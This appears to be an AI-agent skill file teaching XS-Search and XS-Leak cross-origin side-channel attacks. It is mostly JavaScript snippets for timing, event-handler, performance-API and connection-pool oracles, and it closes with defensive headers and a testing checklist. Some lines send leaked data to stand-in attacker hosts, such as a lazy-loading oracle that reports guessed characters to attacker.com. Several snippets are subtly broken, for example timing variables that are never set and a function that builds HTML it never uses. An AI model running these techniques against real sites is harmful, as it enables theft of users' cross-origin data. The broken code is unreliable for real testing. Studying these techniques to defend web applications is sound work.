Hacktricks-skills xs-search-leaks
Cross-origin information extraction using XS-Search and XS-Leak techniques. Use this skill when analyzing web applications for side-channel vulnerabilities, testing for information leakage through timing attacks, event handlers, performance APIs, or other browser-based leak techniques. Trigger when users mention XS-Search, XS-Leaks, cross-origin leaks, timing attacks, side-channel attacks, or need to extract information from cross-origin resources. Make sure to use this skill whenever the user is doing web pentesting and needs to extract cross-origin information, even if they don't explicitly mention XS-Search.
git clone https://github.com/abelrguezr/hacktricks-skills
skills/pentesting-web/xs-search/SKILL.MDXS-Search/XS-Leaks Skill
A comprehensive guide for extracting cross-origin information using side-channel vulnerabilities.
Quick Start
When you need to extract information from a cross-origin resource, follow this workflow:
- Identify the target - What information do you need to extract?
- Choose an inclusion method - How will you load the target resource?
- Select a leak technique - What observable difference can you measure?
- Execute and measure - Run the attack and analyze results
- Iterate - Refine based on what you learn
Core Concepts
Attack Components
| Component | Description |
|---|---|
| Vulnerable Web | Target website from which information is extracted |
| Attacker's Web | Malicious site hosting the exploit |
| Inclusion Method | Technique to incorporate target into attacker's page |
| Leak Technique | Method to discern state differences |
| States | Two conditions the attacker aims to distinguish |
| Detectable Differences | Observable variations used for inference |
Detectable Differences
- Status Code - HTTP response codes (2xx, 4xx, 5xx)
- API Usage - Whether specific Web APIs are used
- Redirects - Navigation to different pages
- Page Content - Response body variations, embedded frame counts, image sizes
- HTTP Headers - X-Frame-Options, Content-Disposition, CORP, etc.
- Timing - Time disparities between states
Inclusion Methods
HTML Elements
Use HTML elements for cross-origin resource inclusion:
<!-- Stylesheets --> <link rel="stylesheet" href="https://target.com/style.css"> <!-- Images --> <img src="https://target.com/image.png"> <!-- Scripts --> <script src="https://target.com/script.js"></script> <!-- Audio/Video --> <audio src="https://target.com/audio.mp3"></audio> <video src="https://target.com/video.mp4"></video>
See HTTPLeaks for a complete list of elements.
Frames
Embed HTML resources directly:
<!-- Basic iframe --> <iframe src="https://target.com/page.html"></iframe> <!-- With sandbox (restricts JS execution) --> <iframe src="https://target.com/page.html" sandbox></iframe> <!-- Object element --> <object data="https://target.com/page.html"></object> <!-- Embed element --> <embed src="https://target.com/page.html">
If the page lacks framing protection, access via
contentWindow:
const iframe = document.querySelector('iframe'); const targetWindow = iframe.contentWindow;
Pop-ups
Open resources in new windows:
// Basic window.open const popup = window.open('https://target.com/page.html'); // Access window handle for interaction if (popup && !popup.closed) { // Can interact following SOP }
Note: Modern browsers restrict pop-up creation to user actions.
JavaScript Requests
Direct requests with precise control:
// Fetch API fetch('https://target.com/resource', { method: 'GET', mode: 'no-cors', redirect: 'manual' }); // XMLHttpRequest const xhr = new XMLHttpRequest(); xhr.open('GET', 'https://target.com/resource'); xhr.send();
Leak Techniques
Event Handler Techniques
Onload/Onerror
Detect resource loading success or failure:
// Script tag example const script = document.createElement('script'); script.onload = () => console.log('Loaded successfully'); script.onerror = () => console.log('Failed to load'); script.src = 'https://target.com/resource.js'; document.head.appendChild(script); // Image tag example const img = new Image(); img.onload = () => console.log('Image loaded'); img.onerror = () => console.log('Image failed'); img.src = 'https://target.com/image.png';
Script-less version:
<object data="https://target.com/404"> <object data="https://attacker.com/?error"></object> </object>
If target returns 404, the nested object loads.
Onload Timing
Measure request duration:
const startTime = performance.now(); const img = new Image(); img.onload = () => { const duration = performance.now() - startTime; console.log(`Load time: ${duration}ms`); }; img.src = 'https://target.com/resource.png';
Unload/Beforeunload Timing
Measure fetch duration using unload events:
const iframe = document.createElement('iframe'); iframe.src = 'https://target.com/page.html'; let beforeUnloadTime, unloadTime; iframe.onload = () => { const duration = unloadTime - beforeUnloadTime; console.log(`Fetch duration: ${duration}ms`); }; document.body.appendChild(iframe);
#ID + Error + Onload
Extract information without timing by exploiting hash changes:
const iframe = document.createElement('iframe'); let onLoadCount = 0; iframe.onload = () => { onLoadCount++; console.log(`Onload triggered ${onLoadCount} times`); // If onload triggers again after hash change, page had error }; iframe.src = 'https://target.com/page.html#try1'; document.body.appendChild(iframe); // Change hash to test setTimeout(() => { iframe.contentWindow.location.hash = '#try2'; }, 1000);
Global Limits Techniques
WebSocket API
Detect WebSocket connections by exhausting limits:
let exceptionCount = 0; const maxWebSockets = 100; // Browser limit varies for (let i = 0; i < maxWebSockets; i++) { try { new WebSocket('wss://attacker.com/socket'); } catch (e) { exceptionCount++; } } console.log(`Target uses ${exceptionCount} WebSocket connections`);
Payment API
Detect payment request usage:
async function checkPaymentAPI() { try { const payment = new PaymentRequest([]); await payment.show(); payment.abort(); return false; // No payment active } catch (e) { return true; // Payment API in use by target } }
Event Loop Timing
Measure execution time via event loop delays:
const times = []; const iterations = 100; for (let i = 0; i < iterations; i++) { const start = performance.now(); // Dispatch event that will be processed when pool is empty setTimeout(() => { const end = performance.now(); times.push(end - start); }, 0); } // Analyze delays to infer target execution time
Performance API Techniques
Error Leak
Detect HTTP errors via missing performance entries:
function checkResourceStatus(url) { const img = new Image(); img.src = url; setTimeout(() => { const entries = performance.getEntriesByType('resource'); const found = entries.find(e => e.name.includes(url)); if (!found) { console.log('Resource returned error (no performance entry)'); } else { console.log('Resource loaded successfully'); } }, 1000); }
X-Frame Leak
Detect X-Frame-Options header:
function checkXFrameOptions(url) { const iframe = document.createElement('iframe'); iframe.src = url; setTimeout(() => { const entries = performance.getEntriesByType('resource'); const found = entries.find(e => e.name.includes(url)); if (!found) { console.log('X-Frame-Options header present (blocked)'); } else { console.log('No X-Frame-Options restriction'); } }, 1000); }
Redirect Detection
Detect redirects via performance API:
function detectRedirect(url) { fetch(url, { redirect: 'manual' }).then(response => { if (response.type === 'opaqueredirect') { console.log('Redirect detected'); } }); // Alternative: check redirectStart timing setTimeout(() => { const entries = performance.getEntriesByType('resource'); entries.forEach(entry => { if (entry.redirectStart > 0) { console.log('Redirect occurred, start time:', entry.redirectStart); } }); }, 1000); }
Cache Detection
Check if resource is cached:
async function checkCache(url) { const start = performance.now(); await fetch(url, { cache: 'default' }); const duration = performance.now() - start; if (duration < 50) { console.log('Resource likely cached'); } else { console.log('Resource loaded from network'); } }
Readable Attributes Techniques
Frame Counting
Count iframes to detect page state:
function countFrames(iframe) { return iframe.contentWindow.length; } // Monitor for changes setInterval(() => { const count = countFrames(iframe); console.log(`Frame count: ${count}`); }, 1000);
History Length
Detect navigation via history length:
const initialLength = history.length; // Navigate to target window.open('https://target.com/page.html'); setTimeout(() => { const newLength = history.length; if (newLength > initialLength) { console.log('Navigation occurred'); } }, 1000);
COOP Detection
Detect Cross-Origin Opener Policy:
const popup = window.open('https://target.com/page.html'); if (popup.opener === undefined) { console.log('COOP header present'); } else { console.log('No COOP restriction'); }
Media Dimensions
Extract media information:
// Image dimensions const img = new Image(); img.src = 'https://target.com/image.png'; img.onload = () => { console.log(`Image: ${img.width}x${img.height}`); }; // Video dimensions const video = document.createElement('video'); video.src = 'https://target.com/video.mp4'; video.onloadedmetadata = () => { console.log(`Video: ${video.videoWidth}x${video.videoHeight}`); console.log(`Duration: ${video.duration}s`); };
Error Message Techniques
CORS Error
Extract redirect URLs from CORS errors:
fetch('https://target.com/redirect', { mode: 'cors' }).catch(error => { // Error message may contain redirect URL console.log('CORS error:', error.message); });
Media Error
Detect status codes via media errors:
const audio = document.createElement('audio'); audio.src = 'https://target.com/resource.mp3'; audio.onerror = () => { const error = audio.error; const message = error.message; if (message.includes('DEMUXER_ERROR_COULD_NOT_OPEN') || message.includes('Failed to init decoder')) { console.log('Resource loaded successfully (2xx)'); } else { console.log('Resource failed to load'); } };
Advanced Techniques
Connection Pool Timing
Exploit socket limits for timing attacks:
async function connectionPoolAttack(targetUrl) { const socketLimit = 256; const holdRequests = []; // Occupy 255 sockets for (let i = 0; i < socketLimit - 1; i++) { holdRequests.push( fetch(`https://hold-${i}.attacker.com/hold`, { cache: 'no-store' }) ); } // Load target on 256th socket const targetStart = performance.now(); await fetch(targetUrl); const targetDuration = performance.now() - targetStart; // 257th request will queue until socket frees const queueStart = performance.now(); await fetch('https://queue.attacker.com/release'); const queueDuration = performance.now() - queueStart; console.log(`Target load time: ${targetDuration}ms`); console.log(`Queue wait time: ${queueDuration}ms`); }
CSS Property Leak
Detect styling changes:
function checkCSSProperty(url, selector, property) { const link = document.createElement('link'); link.rel = 'stylesheet'; link.href = url; document.head.appendChild(link); setTimeout(() => { const element = document.querySelector(selector); if (element) { const style = window.getComputedStyle(element); const value = style.getPropertyValue(property); console.log(`${property}: ${value}`); } }, 1000); }
Image Lazy Loading Oracle
Exfiltrate content character by character:
function lazyLoadOracle(secretPrefix, charToTest) { const junk = 'W'.repeat(10000); // Fill viewport const testString = secretPrefix + charToTest; const html = ` <div style="height: 2000px">${junk}</div> <img src="https://attacker.com/oracle?char=${charToTest}" loading="lazy" id="oracle-img"> <div>${testString}</div> `; // If image loads, char is correct (visible in viewport) // If not loaded, char is wrong (below viewport) }
Defense Recommendations
Server-Side Protections
-
Set proper headers:
X-Frame-Options: DENY Content-Security-Policy: frame-ancestors 'none' Cross-Origin-Opener-Policy: same-origin Cross-Origin-Embedder-Policy: require-corp -
Implement CORS correctly:
Access-Control-Allow-Origin: https://trusted-domain.com # Never use * with credentials -
Use CORP headers:
Cross-Origin-Resource-Policy: same-origin
Client-Side Protections
- Validate and sanitize all inputs
- Implement proper error handling (don't leak information in errors)
- Use Subresource Integrity (SRI) for external resources
- Implement rate limiting to prevent timing attacks
- Monitor for unusual request patterns
Testing Checklist
When testing for XS-Leaks:
- Test with different inclusion methods (iframe, window.open, fetch)
- Check for timing differences between states
- Verify event handlers (onload, onerror) trigger correctly
- Test Performance API for resource entries
- Check for readable attributes (frame count, history length)
- Test error message information disclosure
- Verify CORS and CORP header behavior
- Test with different browsers (behavior varies)
References
Important Notes
- Browser behavior varies - Test across multiple browsers
- Timing attacks are noisy - Run multiple iterations and average results
- Modern browsers are improving - Some techniques may not work in latest versions
- Ethical use only - Only test systems you have authorization to assess
- Document findings - Record which techniques worked for future reference